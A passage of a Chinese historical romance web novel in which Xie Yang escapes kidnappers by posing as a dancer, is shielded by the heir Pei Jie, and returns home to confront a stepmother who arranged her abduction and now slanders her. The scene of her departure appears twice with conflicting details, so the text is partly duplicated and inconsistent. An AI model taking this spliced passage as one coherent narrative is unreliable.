好在,直到谢泱看见翠微馆的高楼楼尖,身后那群人也只是在她附近的巷子里打转,并没有真正找到谢泱。
谢泱快步闪进翠微馆,进去前,她理了理头发和衣服,让自己尽量看起来像一个只是进去游玩的客人。
翠微馆里正是一片歌舞升平,一楼正中央水台上,艺伎正在弹奏琵琶,三楼以下的客人都聚精会神地听着,倒是没什么人注意到谢泱。谢泱打算从那水台后面偷偷绕到正门口出去。
“她在哪!”
谢泱回头,是那群人从刚刚她进来的门追了过来,那些人似乎也是不想声张,并没有大喊,只是绕过人群要来抓谢泱。
这些人真是穷追不舍!谢泱心里暗道糟糕,转头想往大门跑,却发现大门那边进来的人中,有两人正是刚刚在杂院里的那两个男人!他们四处张望,很快就发现了水台这边的谢泱。
谢泱无法,只能沿着水台旁边的楼梯往上走。二楼三楼都是看台,格局是一览无余,往这边跑肯定是藏不住。谢泱继续往楼上跑,等到了四楼,便突然安静下来,整层楼都是紧闭的包厢,谢泱知道这种楼的规矩,楼层越往上,花销越多,所享受的服务自然也是与下面楼层的不同。
谢泱选了一个角落里的房间推门进去,进去之后,却发现并不是招待客人的房间,而是伶人换衣服的地方,房里四处挂满了表演的特制衣裙,谢泱稍作思考,便决定挑一套换上,等会就装作翠微馆的人混出去。
谢泱三两下换上了翠微馆的衣服,又对着铜镜仿照刚刚楼下的伶人给自己挽了一个发髻,这样一来,只要不仔细检查,应该是不会有人能看出她的异常。
谢泱乔装好以后,先将自己原本的衣服藏了起来,接着又偷偷将门打开一个门缝,观察了一下,门外并无异常,便悄声溜了出去,等走到楼梯口正要往下走时,谢泱却突然被一道女声叫住:“那边那个,你干什么去?”
谢泱有一瞬间僵住了,但为了不露馅,她还是转身,却发现叫住她的伶人与她穿的服饰是一样的:“我······我想去更衣······”谢泱回她一个尴尬的微笑。
那人却有些不满:“别去了,耽误了贵人的事,我们可担待不起,还不快回来。”
贵人?表演?谢泱心想完蛋了,她哪里会什么表演,但挣扎了一会儿,还是硬着头皮上前去了:“是······”
那人看谢泱走进,仔细看了谢泱一番,有些狐疑:“你看着倒是面生。”
被这么一问,谢泱冷汗都要下来了,心里还在想找补的说辞,还没开口,那人却自顾自的说:“你就是琳儿找来替补的湘儿吧,她眼光倒是不错。”
听着是那个叫琳儿的人突然出事没法来,找了一个叫湘儿的人来替她,而现在谢泱误打误撞成了那个湘儿。
“是······”谢泱尽量把头埋得很低。
“你模样生的不错,待会往中间站点,就是这发髻梳得太丑了,我给你再改改。”说罢便上手给谢泱改起头发来。
谢泱是一动也不敢动,任由她动作,不到一会,头发就改好了。
那人抬正她的头,端详了一番:“这样才对嘛,现在你跟我来,迟了就不好了。”
谢泱只能跟着那人往楼上走,到了五楼,谢泱发现五楼有很多侍卫模样的人把守着,反而松了一口气,想来是有权贵在这里,这样正好,那些来抓她的人没法上来,只要等会她低调一点,跟在人后,等表演结束,她就可以离开了。
就是不知道待会要表演什么,要是是唱曲儿,那她小点声就是了,要是是弹乐器,那她就来一个“滥竽充数”,总之混过去就好了。
可等到谢泱被带到一群舞娘的队伍中,她就傻眼了。
原来自己身上这一套衣服是舞裙?!
别的好说,跳舞谢泱是一点都不会啊!完了完了,自己也太倒霉了,舞蹈这种表演只要队伍里有一个人跟不上,那就会非常明显。<
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现在只能祈祷看表演的那个人是个瞎子了。
谢泱心里已经是哭丧脸了,面上却还要挂上得体的微笑,她跟在队伍后面,进了一个包房。
包房里,谢泱祈祷是“瞎子”的裴玠在谢泱的队伍进来后真是眼睛都没抬一下,反而是坐在他对面的已经喝醉的中年男子,色眯眯地盯着这些舞娘,一边看一边对裴玠说:“贤侄,翠微馆的舞娘很有名,你平日里端的够了,在我这,你可以大胆地欣赏这些美娇娘哈哈哈哈哈哈哈哈”
裴玠依旧没往谢泱这边看,对面男人不敬的话让他眼里闪过一丝狠戾,但裴玠很快就掩饰起来,嘴角勾起一抹笑,提起酒杯示意对面的男人继续喝。
“好好好,你这是害羞了不是?哈哈哈哈哈哈······”
那人笑完便示意舞蹈可以开始了。
整个过程中,谢泱都没有抬头,加上裴玠自她进来以后也没有出声,因此谢泱并没有发现眼前的人是裴玠。
一旁的乐师开始奏乐后,谢泱便随着队形走,她在最后面,一方面可以 避免被人发现,另一方面也是便于依葫芦画瓢,前面的人怎么跳她就怎么跳。
最开始动作都比较简单,谢泱还能勉强跟得上,等到了后半段,乐师奏乐的节奏越来越快,她就有些力不从心了,动作开始跟不上。
不过好在,就在谢泱觉得自己要暴露的时候,整支舞蹈终于结束了。
谢泱身体累,心更累,就在她以为可以走了终于松了一口气之后,刚才那中年男子又发话了:“先别走,过来站成一排,让本王好好瞧瞧。”
“贤侄你也看看,要是有瞧中的,今晚便留下来陪你。”
本王?这人是什么身份?他口中的贤侄又是谁?谢泱正想抬头看一眼,却被旁边的同伴拉了一把:“别看了,快站好!”
谢泱又紧着低头,跟着队伍排成一排。
那个自称本王的人目光在面前这排舞娘的脸上扫荡,看了好几个,都觉得不满意,直到看到谢泱,他浑浊的双眼亮了一亮,似乎是发现了什么宝贝,伸手指向谢泱:“你,抬起头来。”
谢泱心想自己应该不会是那个倒霉蛋吧,直到领队低声叫她:“湘儿!还不抬起头来给王爷看!”
湘儿是哪个倒霉蛋?谢泱心底有些可怜此人,直到整个包房里突然陷入了一股死一样的寂静,谢泱才反应过来,她现在就是这个叫湘儿的倒霉蛋!
谢泱慢吞吞地把头抬起来,看了一眼这个挑中她的老匹夫,接着又往旁边看去,这一看,便看到了裴玠这张她熟得不能再熟的侧脸了。
!!!
裴玠!!!
谢泱不得不承认,裴玠出现在里,对她来说不亚于天神降临。太好了,今晚她还不算倒霉得彻底。
谢泱拼了命地向裴玠眨眼,但裴玠楞是没往她这里看一眼。
······
谢泱此刻心里无语极了。
裴玠对面的人被谢泱的表现弄得很不满:“明明是本王抬举你,你一个劲的往他身上瞟什么?你是不是嫌本王老了?来人,拖下去。”
话音刚落,门口便有人进来要拖走谢泱,谢泱暗道不好。
她看向裴玠神祇一般冷的侧脸,心里犹豫了三秒后,最终作出了一个大胆的决定。
谢泱三个跨步,几乎是往前扑去,扑了裴玠满怀。
18.生辰
那一刻,整个包厢内再次陷入死一般的寂静。
所有人都被谢泱的举动惊得呆住了,在场的各人都有自己的心思——
舞娘领队是觉着谢泱长得好,想让她多在贵人面前表现,但就这样直愣愣地扑到贵人怀里,未免有些……太直接了,要是再娇媚一点就好了,她如是想。
其他舞娘却是不禁暗暗嫉妒这个来替补琳儿的新人,听说那可是南安王府的世子殿下,就这样被她抱到了,说不定殿下就喜欢这样的呢,早知道她们也大胆一点了!
而正巧进来准备来提醒裴玠可以走了的墨影,看见有个大胆的小舞娘扑进自家主子的怀里,一边在心里默默给这个舞娘接下来的命运捏了把汗,一边又想着不能让永安侯府的谢姑娘知道了,要不然殿下在谢姑娘面前的形象就毁了!
这些人的心思谢泱不知道也不想知道,她只知道她现在完蛋了。
“下去。”裴玠声音的温度降到了冰点,他撇了一眼怀里将头埋在自己胸口的女人,如果这女人再不识相滚出去,那就不要怪他不怜香惜玉了。
“哈哈哈贤侄,既然这美人喜欢你,你不如收了去,免得伤了美人心啊。”对面那男人语气又变得轻浮起来,仿佛刚刚对谢泱的怒火只是错觉。
谢泱反应再快,此刻脑子也有些接不上话了。
“三——”
裴玠微微侧头,低声警告谢泱。
“二——”
谢泱脸皱在一起,整个人陷入了一种极度纠结的状态,她将头死死的埋在裴玠怀里,不想把自己的脸露出来。
这一刻,谢泱在想,到底是主动抬头被裴玠发现丢人,还是死不承认最终被裴玠扔出去更丢人。
其实都很丢人,但被扔出去会很痛。
谢泱觉得还是主动承认好了,说不定裴玠还会保自己一回,毕竟他俩现在可是合作关系。
于是谢泱将头抬起来一点点,低声对裴玠说:“裴玠,是我,谢泱。”
已经被耗的没耐心,正准备把怀中人扔下去的裴玠突然愣住,他低头,看向怀中的“舞娘”。
谢泱的一双狐狸眼冲着裴玠眨巴眨巴,一如初遇的那个夜晚,少女在他怀里被他禁锢,也是这样一双生动的眼睛看向他。
心忽然就有些乱了,裴玠方才抬起的、准备将谢泱拉下去的手,停滞在空中,一时间不知道该往哪放。
谢泱看裴玠这个反应,内心有些愧疚,自己这样实在是太唐突了。
她试着解释:“外头有人抓我,我误打误撞才到了这里,你能不能帮帮我。”
谢泱声音很低,几乎是在裴玠耳朵旁说的,这副模样放在旁人眼里,活脱脱就是谢泱这个“舞娘”在裴玠耳边喃喃细语勾引裴玠。
真是高手啊,这样还能面不改色心不跳地继续诱惑裴玠。
在场的众人如是想。
只可惜,这舞娘碰上的是裴玠,想来她的小心思要落空了。
众人又如是想。
可下一刻,裴玠滞空的手就突然抚上了谢泱的头,动作温柔,一下一下顺着谢泱的头发。
方才还冷冰冰、仿佛下一秒就要发火的世子殿下,此刻脸上的冰冷确全部消失不见,转而代之的是玩味与温柔。
他嘴角挂笑,低头看向怀里的人,用在场人都能听到的声音,对谢泱说:“‘湘儿’是吧?你就留下来陪我吧。”
此话一出,在场的人又是一阵沉默。
其他人只感叹这个叫湘儿的舞娘真是命好,只有门口的墨影内心山崩地裂。
自己跟着世子这么多年,别说是风尘女子,就连高门贵族的女子,主子也从来没表现过有什么特别的心绪,除了谢家的那位姑娘。
坐在裴玠怀里的谢泱也有些无措,她很感谢裴玠愿意帮她,但这样是不是有点过于夸张了。
谁曾想,裴玠的手又将谢泱的头按在自己的肩窝处,低声对谢泱说:“不想被发现就乖乖待着。”
谢泱心里有点怪怪的,但她归结于这个场面实在是太诡异了。
谢泱没看到的是,裴玠看她真的一动没动,嘴角的笑意越来越大。
“你们都下去吧。”裴玠让其余舞娘和乐师都下去。
接着又看向对面的九王,手却仍放在谢泱的头上,裴玠对九王说:“我喜欢这舞娘喜欢得紧,王爷可舍得割爱?”说完后又低头又看向怀中的谢泱,眼神深情得可以掐出水来,仿佛真的被迷住了。
九王深深的看了一眼裴玠和裴玠怀里的谢泱,确认裴玠的神情是认真的后,眼里又变成了醉态:“好好好,那我就不打扰你的好事了,反正事情都商议得差不多了,我也回去了。”
九王说罢,喝完杯中的最后一滴酒,负手带着手下离开了。
待闲杂人等都离开,房内便只剩了谢泱、裴玠和墨影三人。
谢泱这回是真的松了一口气,她轻轻地从裴玠怀里挣脱出来。
裴玠的怀里突然一空,愣了一会,最终将手收了回去。
墨影看清楚谢泱的脸后傻眼了:“谢……谢小姐?!怎么会是你?”
谢泱顺着他的话将事情解释清楚:“逛灯会的时候被人迷晕劫持了,后来我想办法逃了出来,误打误撞到了你这里。”
谢泱说的轻巧,但裴玠却是越听眉头皱的越深,他一下站起来:“可有受伤?”
谢泱被裴玠的反应吓一跳:“我没事……嘶——”谢泱还没说完,就被手上的刺痛痛得皱眉。
刚刚太紧张了以至于手上的伤被她完全忽略了,现在乍然放松下来,痛感一下就变得明显起来。
她看向自己的手,发现是用竹篾割绳子时划伤的,好几道伤口陈列在谢泱一双手的手背上,过得有些久了,伤口上的血都凝固了。
裴玠也注意到了她的伤,想要抬起谢泱的手来看,裴玠的手都轻轻地伸向谢泱的手,可在要触碰的瞬间又收回去了,他转头吩咐墨影:“去拿药来。”
“是。”
墨影很快就拿了个药箱进来,裴玠接过药箱,又引着谢泱坐下,这回裴玠倒是没再避讳,拿出药,拉着谢泱手上的手上药。
谢泱看着眼前的垂头认真给她上药的裴玠,男人又长又直的睫毛在他脸上投下一片好看的阴影,自己受伤的手仿佛是一件蒙尘的绝世珍宝,被眼前人仔细擦拭。
谢泱一下子就想到了那句诗——陌上人如玉,公子世无双。
谢泱盯着裴玠盯得有些出神了,直到裴玠将她的手上了药包扎好,她才回过神来。
“想什么呢,这般出神?”裴玠轻声问她。
谢泱一时间不知道说什么:“没事,在想刚才的事情罢了。”
“你知道是谁做的吗,需要我帮你吗?”
“大概能确定是谁做的,不过我自己能解决,刚才多谢你。”谢泱婉拒了裴玠的帮忙,她不想过于麻烦他,再者说,这件事九成九是她的家务事,裴玠也不便插手。
裴玠见她这样,也没再多说,又看她身上的这身舞裙,问她:“你就打算穿这身衣服回去吗?”
裴玠一提醒,谢泱才想起来自己还穿着翠微馆的衣服,不禁有些尴尬:“我的衣服落在四楼了,待会儿我自己去找找。”
裴玠看着她,觉得不妥,但自己一名男子,若是贸然将谢泱送回去,少不得会损了她的清誉?
裴玠想了一会儿,吩咐墨影:“去吧郡主叫过来,叫她带一身她的衣服过来。”
墨影领命去了。
“我妹妹裴易水今晚也来逛灯会了,她身量和你差不多,你换上她的衣服,再由她送你回去。”
裴玠的做法是相当贴心了,贴心到谢泱没有理由拒绝,只能在心里将这个人情记上,等着来日再还。
没过多久,墨影就带着永嘉郡主裴易水上来了。
“人呢人呢,快让我见见!”
谢泱还没见到人,就听到门外穿来一道俏皮的女声。
紧接着门就被推开了,谢泱见一个与她差不多年纪的俏丽少女进来,裴易水着一身黛蓝衣裙,头上并无过多首饰,面容与裴玠并不太相似,但都是线条锐利,显得整个人英姿飒爽。
“你便是永安侯府的谢姑娘吧,长得这般好看,难怪我兄长……”
“易水。”裴玠平静得打断了妹妹的话。
裴易水看着兄长的反应,脸上尽是调侃的笑,但还是麻利的把自己带来的衣服递给了谢泱。
裴玠见状,便带着墨影出去了,关门前还不忘和谢泱说:“我就在外面,有事叫我。”
裴易水却将裴玠推了出去:“快走吧,有我在这,能出什么事?”
门扉合上,屋内便只剩了谢泱与裴易水二人。
裴易水也不急着让谢泱换衣服,反倒是围着谢泱转了一圈,上上下下打量了她一番,那眼神直白又坦荡,看得谢泱都有些不好意思了。
“早就听闻永安侯府的谢姑娘生得一副好相貌,今日一见,倒觉得那些传言都说浅了。”裴易水抱着手臂,语气里带着几分真心实意的赞叹,“我兄长那人眼高于顶,寻常女子根本入不得他的眼,能让他这般上心的,谢姑娘你是头一个。”
谢泱闻言一怔,连忙解释:“郡主误会了,我与世子殿下只是……”
“只是什么?”裴易水眨眨眼,笑得促狭,“只是他恰好把你按在怀里?只是他恰好给你上药?只是他恰好大半夜的让我送衣服过来?”
谢泱被她问得语塞,脸上不受控制地浮起一层薄红。
裴易水见状,笑得愈发开怀,摆摆手道:“好啦好啦,我不逗你了。你快换衣裳吧,我替你守着。”说着便转过身去
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,背对着谢泱,却又忍不住添了一句,“不过我可提醒你,我兄长那人,从小到大还没对哪个女子这般用心过呢。”
谢泱没接话,只是低头解开身上那件舞裙的系带。
这件舞裙薄如蝉翼,料子轻飘飘的,穿在身上像是笼了一层烟霞,美则美矣,却实在不是良家女子该穿的衣裳。她三两下褪下舞裙,接过裴易水递来的那身黛蓝衣裙,入手便知料子上乘,针脚细密,是郡主娘娘的体己衣裳。
“多谢郡主。”谢泱一边穿衣一边道谢。
“谢什么,一套衣裳而已。”裴易水仍是背对着她,语气随意,“说来也是巧,我这身衣裳原是备着今夜逛灯会时换的,谁知灯会没逛成,倒是派上了这个用场。”
谢泱系好腰带,又将散乱的头发重新绾了个简单的髻,这才出声道:“郡主,我好了。”
裴易水转过身来,上下打量一番,满意地点点头:“不错,这颜色衬你。”顿了顿,又凑近了些,压低声音问,“方才你说被人迷晕劫持了,是怎么回事?可抓到人了?要不要我帮你出头?”
谢泱心头一暖,这位永嘉郡主倒是热心肠。她摇摇头,温声道:“多谢郡主好意,只是此事牵扯到家中一些事,我想自己处理。”
裴易水看了她一眼,似乎明白了什么,也不多问,只点点头道:“成,你有数就行。不过若是需要帮忙,尽管来找我。我虽不如我兄长那般有本事,但在凤阳这一亩三分地上,还是能说得上几句话的。”
谢泱笑着应下。
两人推门出去,裴玠果然还等在门外,负手而立,不知在想些什么。听见动静,他转过身来,目光落在谢泱身上——那身黛蓝衣裙穿在她身上刚刚好,衬得她肤色白皙,眉眼愈发温婉。
他眸光微动,随即移开视线,淡淡道:“走吧,我送你们回府。”
“你送?”裴易水挑眉,“哥,你可是男子,这大半夜的送谢姑娘回去,传出去……”
“所以我送你。”裴玠打断她,语气平静无波,“你送谢姑娘回府,我在暗中跟着。”
谢泱闻言,心头微动。
他这是……怕路上再出什么意外?
裴易水也反应过来了,意味深长地“哦”了一声,拖长了尾音道:“原来如此——那走吧走吧,谢姑娘,咱们坐我的马车回去。”
谢泱看了裴玠一眼,他也正看着她,四目相对,谢泱先移开了目光,轻声道:“多谢世子殿下。”
“不必。”裴玠的声音很低,像是怕惊着什么似的,“去吧。”
马车辚辚而行,碾过青石板路,在寂静的夜色中格外清晰。
裴易水坐在谢泱对面,一路上叽叽喳喳说个不停,从灯会的花灯说到京城各家的八卦,又从各家的八卦说到她兄长小时候的糗事。谢泱起初只是礼貌性地应和,后来却真的被她逗笑了几次。
“不过今日,我兄长如此待你,但是让我开了眼了。”裴易水笑着看向谢泱。
谢泱被她看得不自在,垂眸道:“世子殿下帮了我,我心中感激。”
“感激?”裴易水凑近了些,压低声音道,“谢姑娘,你跟我说实话,你对我兄长,当真只是感激?”
谢泱心头一跳,面上却不动声色:“郡主说笑了,我与世子殿下不过数面之缘,谈何其他?”
裴易水盯着她看了片刻,忽然笑了:“行吧,你不说我也就不问了。不过我可告诉你,我兄长那人,若是动了心思,是绝不会轻易放手的。”
谢泱没接话,只是转头看向车窗外。
夜色沉沉,街巷寂静,偶尔有几盏灯笼从车窗外掠过,昏黄的光影在她脸上明明灭灭。
裴玠……会吗?
她不知道。
她只知道,今夜他在她最狼狈的时候伸出了手,将她护在怀里,替她上药,又安排得这般妥帖周全。这份情谊,她记在心里了。
至于其他……且看吧。
马车在永安侯府门前停下。
谢泱下车时,目光不动声色地扫了一眼四周——夜色深沉,巷口空无一人。
但她知道,他一定在某个暗处看着这边。
“多谢郡主相送。”谢泱敛衽行礼。
“客气什么。”裴易水摆摆手,又道,“对了,你手上的伤记得换药,我那药箱里的药都是我兄长特意备的,顶好的。”
谢泱低头看了一眼自己包扎好的手,轻轻“嗯”了一声。
裴易水也不多留,挥挥手便上了马车。车帘放下的一瞬,谢泱隐约看见车内多了一个人影——是裴玠。
他没露面,只是隔着车帘看了她一眼。
那一眼很短,短到谢泱甚至来不及确认是不是自己的错觉。
马车辚辚远去,谢泱站在原地,目送那辆车消失在夜色中,这才转身。
19.污蔑
待谢泱和裴易水推门出去,裴玠果然还等在门外,负手而立,不知在想些什么。听见动静,他转过身来,目光落在谢泱身上——裴易水的衣裙穿在她身上刚刚好,衬得她肤色白皙,眉眼愈发温婉。
他眸光微动,随即移开视线,淡淡道:“走吧,我送你们回去。”
“你送?”裴易水挑眉,“哥,你可是男子,这大半夜的送谢姑娘回去,传出去……”
“所以我送你。”裴玠打断她,语气平静无波,“你送谢姑娘回府。”
谢泱闻言,心头微动。
她知道,裴玠这是怕她再出什么意外。
裴易水也反应过来了,意味深长地“哦”了一声,拖长了尾音道:“既然这样——那走吧走吧,谢姑娘,坐我的马车回去。”
“现在是什么时辰了,灯会可散了?”感激之余,谢泱又有些担忧。
今晚她是从翠微馆附近与她的两个丫鬟走散的,那歹徒是冲着她来的,想来她的两个丫鬟应该是无虞,她们找不到自己,肯定会禀告谢元鼎,只是······侯府小姐失踪这种事情向来敏感,若被有心人利用,在她的清白这种事情上做文章,届时又是一桩麻烦。
谢泱又联想到今晚之事与罗岱脱不了干系,而罗漪华又称病未出府,到底是真病了,还是有心避险?这很难不让谢泱怀疑。
裴玠似乎明白谢泱的担忧:“眼下灯会已经散了,侯府着急,左不过先派人去找,你直接回府即可,也省得再出意外。”
谢泱看了裴玠一眼,他也正看着她,四目相对,谢泱先移开了目光,轻声道:“是这个道理,多谢世子殿下。”
“不必。”裴玠的声音很低,像是怕惊着什么似的,“走吧。”
永安侯府内,谢元鼎将将知道谢泱失踪一事。
今晚本应是大家一同回府,但夏姨娘有孕,逛到一半觉着身子不利爽,谢元鼎便带着她先回来了。
谢云萱本就看谢泱不痛快,哪里还会管她的行踪,拉着谢云烟逛的差不多了,便自行回府了。
中秋逛灯会,说是大家同去同回,实则不过各玩各的。
而半夏和茯苓两人,在发现谢泱不见了时,先是以翠微馆为中心,绕着周围几条街先找了一番,可游人太多,她们两个姑娘如何能找到被人蓄意绑架的谢泱?
意识到不能再拖下去了以后,半夏和茯苓便返回来时下马车的地方,结果发现侯府其他人都走了,这才赶回侯府,禀告了谢元鼎。
“人是什么时候丢的?在哪里丢的?”谢元鼎大怒,好端端的一个侯府小姐在灯会不见了,若是过了今夜,即便是找回来了,那也是不中用了,到时候他丢了一个正值说亲妙龄的女儿不说,传扬出去,侯府的颜面也没地方搁了!
半夏已经急得说不出话来了,茯苓还算冷静,一五一十将情况陈述给谢元鼎听。
谢元鼎当即便派人去找:“此事不宜声张,你们一定要低调行事,尽快将人找到!”
此时整个正堂气氛一片凝重,林姨娘并谢云萱和谢云烟都过来了。
林姨娘面上看不出什么情绪,谢云烟却是隐隐担忧,只有谢云萱是一脸幸灾乐祸,她出声嘲讽:“叫她装孤傲,这会子人不见了还要府里兴师动众去找她,也不知道是落在哪个贼人手里咯——”
半夏本就担心极了,听到谢云萱落井下石的话更是又急又气,眼里含着泪,恨不得将谢云萱的嘴撕烂,还是茯苓死死地拉住她。
半夏被茯苓拉了回来,她清醒过来,知道自己不能拿谢云萱怎么样,她突然恨极了这个侯府。
今夜姑娘出事,除了她和茯苓,这府里到底有哪一个真正有为自家姑娘着急的?不过都是冷眼旁观!
谢云萱见半夏不服,狠狠地瞪回去:“我说的不对?就是能找到她,我们侯府也不能认她了,简直丢我们侯府的颜面!”
“闭嘴!”谢元鼎突然觉得自己宠了这么多年的小女儿真是聒噪,“你若没有好的法子,便滚回去!”
“父亲!”
自从谢泱回来以后,父亲对自己的态度便大不如前了,都是谢泱这个扫把星害的,好在,如今她怕是凶多吉少了!想到这,谢云萱内心的不甘又突然被抹平了。
她何必和一个废人计较呢?谢云萱嘴角挂起得意的笑,也不再反驳,而是退到一旁看事态会如何发展。
荣禧堂内,因“病”卧床的罗漪华也听到了风声。
她心中大喜,谢泱不见了,想必是罗岱得手了,既如此,那她便该出场了。
谢泱想得不错,罗漪华正是想利用女子清白这一点将谢泱这人从此在凤阳抹去。
她让罗岱雇人将谢泱绑了,玷污后再卖到娼馆里头去,翠微馆只是中转罢了,她要将谢泱卖到外地去,让她永世不得翻身!
“舅爷回来没有?”罗漪华问传话的丫头。
“未曾回来,不过服侍舅爷的烛烟过来了,正等着回夫人的话呢。”
罗漪华扶额皱眉,罗岱现在还不回来,想来是玩的过头了,连正事都抛在脑后了!不过有他的侍从也够了:“叫他进来。”
烛烟和他主子一样,都是个不靠谱的,罗岱知道谢泱绑在了那杂院后,便叫烛烟在外头守着。
谁曾想,今日中秋灯会,烛烟本就是浮躁爱热闹的人,自家爷在里头风流快活,自己却还要在这望风,真真是凄凉,于是叫个小厮守着,自己偷偷溜出去玩了。
烛烟这会子也以为罗岱得手了,还在快活呢,后来被罗漪华的人传回来回话,他也没多想,便回来了。
“我且问你,舅爷那是否一切顺利?”罗漪华看着下头低着头回话的烛烟。
烛烟眼睛滴溜溜一转,瞎话张口就来:“顺利,顺利着呢,只是舅爷忙着,顾不上小的,小的便先来回夫人了。”
罗漪华轻叹一口气,自己弟弟风流好色这一点是如何也改不了了,不过估摸着时辰,谢泱这会子应该已经被送出城了。
“罢了,我本是想让他来说,既然这样,待会就你来说。”罗漪华要让烛烟证实他目睹了谢泱是被人掳走的。
“说······说什么呀夫人?”烛烟惊得抬起头,惶恐地看向罗漪华。
烛烟知道自家爷和夫人对谢泱干的那档子事,但爷只吩咐自己千万要闭嘴呀,他要说什么,说自家爷掳走了大小姐?
“蠢货,当然是说你家爷目睹了谢泱被人掳走,自己去追了,派你来报信。”
烛烟心下震惊,这不是睁眼说瞎话吗?这当后娘的就是心狠呐,但嘴上还是应下了,他就是个下人,主子怎么说,他就得怎么做:“是,夫人。”
到了正堂,罗漪华被丫鬟搀着,嘴上不住地咳嗽,俨然一副强撑病体也要起身的模样。
谢元鼎见夫人这个样子,自是心疼得很,忙过去搀扶,温声责备:“不是病了吗?怎么不好好躺着,非要到这来?”
罗漪华却是眼眶微红,垂泪欲泣:“泱姐儿被人掳走,叫我这个做母亲的怎么能不着急?难道夫君还要瞒着我吗?”
听到这在场之人皆是一惊,被人掳走?
谢云萱暗自叫好,她就知道,谢泱一定没有好下场!
半夏和茯苓对视一眼,眼里都读懂了对方眼中的震惊与疑惑:罗漪华怎么张口就说自家姑娘被人掳走了?她在病中怎么会知道这种她们都不知道的事?
“你怎么知道姑娘是被人掳走的?!”半夏此时已经顾不上尊卑礼仪了,她只想知道罗漪华都知道些什么。
谢元鼎也疑惑:“夫人,此事非同小可,你是如何得知的?”
罗漪华面对半夏的不敬也不恼,抽抽嗒嗒地解释:“老爷,并非我信口雌黄,而是今晚,阿岱也去了灯会,他看见了泱姐儿被贼人掳走,自己着急去追,便先派了身边服侍的烛烟来报信。”
谢元鼎一脸凝重:“烛烟呢?!快叫他来!”
“老爷莫急,我已经
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叫烛烟在外头等着了。”罗漪华转头吩咐身边的丫鬟,“去把人带上来。”
片刻后,烛烟便被人带了上来。
他环顾一圈后,先朝着谢元鼎磕了头:“侯爷,我和我家公子亲眼瞧见,大小姐被贼人掳了去,就在翠微馆附近!”
翠微馆,在场之人都知道这是个什么地方,翠微馆现在说是清雅寻乐之地,可凤阳人谁不知道,早年翠微馆就是靠做皮肉生意发家的。
半夏和茯苓急了,姑娘和她们正是在翠微馆附近被人群冲散的,莫非这个烛烟说的是真的?!
“你确定你看清楚了?!是我家姑娘?!”茯苓冷声质问烛烟。
半夏睁着猩红的双眼,死死得瞪着烛烟:“你若是胡说,我便撕了你的狗嘴!”
烛烟本就心虚,这下更是被半夏和茯苓的架势吓住了,一时间说不出话来,他弱弱地看了一眼罗漪华。
罗漪华亦是瞪了烛烟一眼,心里骂他烂泥扶不上墙,但嘴上还是说:“没用的东西,把你知道的老老实实说出来就好,正是急得时候!”
这就是告诉烛烟她会给他撑腰的意思了。
烛烟咽了口气,气势又回来了,看着半夏和茯苓:“我看的真真切切,难道我和我家公子伙同起来诓你们不成?真是好心没好报。”
烛烟说起瞎话来一套一套的,唬得在场的人都信以为真,唯有半夏和茯苓心里仍不愿相信烛烟的话。
谢元鼎指着烛烟:“你快细细说来当时的情况。”
烛烟想了一会便接着说:“当时我家公子正在翠微楼外头看热闹,碰巧见着了大小姐和她的两个丫鬟,”说到这,烛烟看了一眼半夏和茯苓,“公子本想前去打个招呼,可没曾想人群忽然乱了起来,再后来,我和公子便见着大小姐被人捂了口鼻掳了去······”
说罢,烛烟又像要证实般地问了半夏和茯苓:“当时你们也在,应该知道我说的并非假话。”
是了,确实是这样的,半夏和茯苓最是清楚,当时人流冲散了她们和姑娘,再之后,姑娘便不见了。
在场的人刚刚都听了茯苓的述说,与烛烟说的一般无二,这下大家都信了谢泱是被人强掳了去的。
半夏不愿相信,但事实摆在这,她双目失神,嘴唇张合却说不出一个字来,就连一直冷静应对的茯苓此时也再也忍不住哭了起来。
就在此时,外头的侯府私卫忽然来报:“侯爷——”
所有人目光灼灼看向这个侍卫,谢元鼎一下站起来,问:“可是有消息了?”
那侍卫却是摇了摇头:“我们找遍了连同翠微馆在内的附近街道和商铺,都没有发现大小姐的踪迹。”
在场之人听到这个消息反应皆是沉默,只有罗漪华在暗处悄悄松了一口气。
谢元鼎跌坐在椅子上,一脸不可置信。
罗漪华却是一下哭出了声:“我可怜的泱姐儿啊,好不容易回府过了几天好日子,眼下被贼人掳去,清白难保,以后可怎么办啊——”
茯苓当即便反驳回去:“眼下我家姑娘还未找到,夫人怎可乱下定论,您究竟是何居心!”
谢云萱见茯苓一个丫鬟都敢驳自己的母亲,顿时怒不可遏:“大胆,这刁奴目无尊卑,以下犯上,我看,拖出去乱棍打死为好!”
谢云萱这一喊倒是提醒了罗漪华,反正谢泱已除,她的这两个丫鬟也顺便处理了为好,便顺着谢云萱的话说下去:“大姑娘的这两个丫鬟护主不利,来人,拖下去,一人四十大板,发卖出府!”
罗漪华说罢,下头便有几个粗使婆子上前来要押走半夏和茯苓,侯府的当家夫人都发话了,在场也无一人敢反驳。
因着她们人多,半夏和茯苓也一时之间不得挣脱,半夏挣扎着大喊:“我们并非侯府家生仆,你们怎可随意处置我们!”
“还不赶紧拖下去!”罗漪华呵斥那群婆子。
就在此时,门外忽然传来一声:“我看谁敢!”
20.撑腰
清亮而平稳的声音传来,原本喧闹的正堂倏地安静下来。
在场之人无不不可置信地看向门口——只见谢泱步伐从容跨过万字纹门槛,目光灼灼盯着那群压着半夏和茯苓的婆子,而谢泱的身后还跟着一位气派不俗的少女。
“姑娘!”半夏和茯苓同时喊了出来,并趁着那几个婆子愣神的片刻挣脱出来,跑到谢泱身边。
半夏一下抱住谢泱,哽咽道:“姑娘,我还以为你回不来了······”
谢泱伸手拍了拍半夏的背,轻声安慰她:“哭什么,我这不是没事吗?”
细心的茯苓一下就发现了谢泱的手受伤了:“姑娘你的手······”
谢泱这才想起来自己的手还受了伤,便收回了手:“一点意外,不妨事。”
罗漪华此时终于从巨大的震惊中回过神来,她简直不敢相信那个她本以为被糟蹋得不成样子、已经送出城的谢泱,此刻竟然看起来完好无损地站在了这里!
她掩饰好微变的脸色,随即作势要扑上来哭喊:“泱姐儿!你可回来了!我真是担心怕了!你到底······到底去了何处?有没有被歹人······”话留一半,又意味深长地上下打量着谢泱。
谢泱看着罗漪华做戏般的关心,只觉得可笑,想来,关心是假,想误导大家以为她清白丢了才是真。
但谢泱没有接罗漪华的话,而是先看向面色铁青坐在主位上的谢元鼎:“父亲,我听说姨母要下令打死半夏和茯苓,女儿敢问她们何罪之有?”
谢元鼎沉声道:“小姐丢失,她们不立刻回府来报,私自寻找,贻误时机,后又顶撞主母,出言不逊,这样的丫鬟的确该打,你也别怪夫人。”
“哦?是吗?半夏、茯苓,你们真当贻误时机了吗?”谢泱问自己的丫鬟。
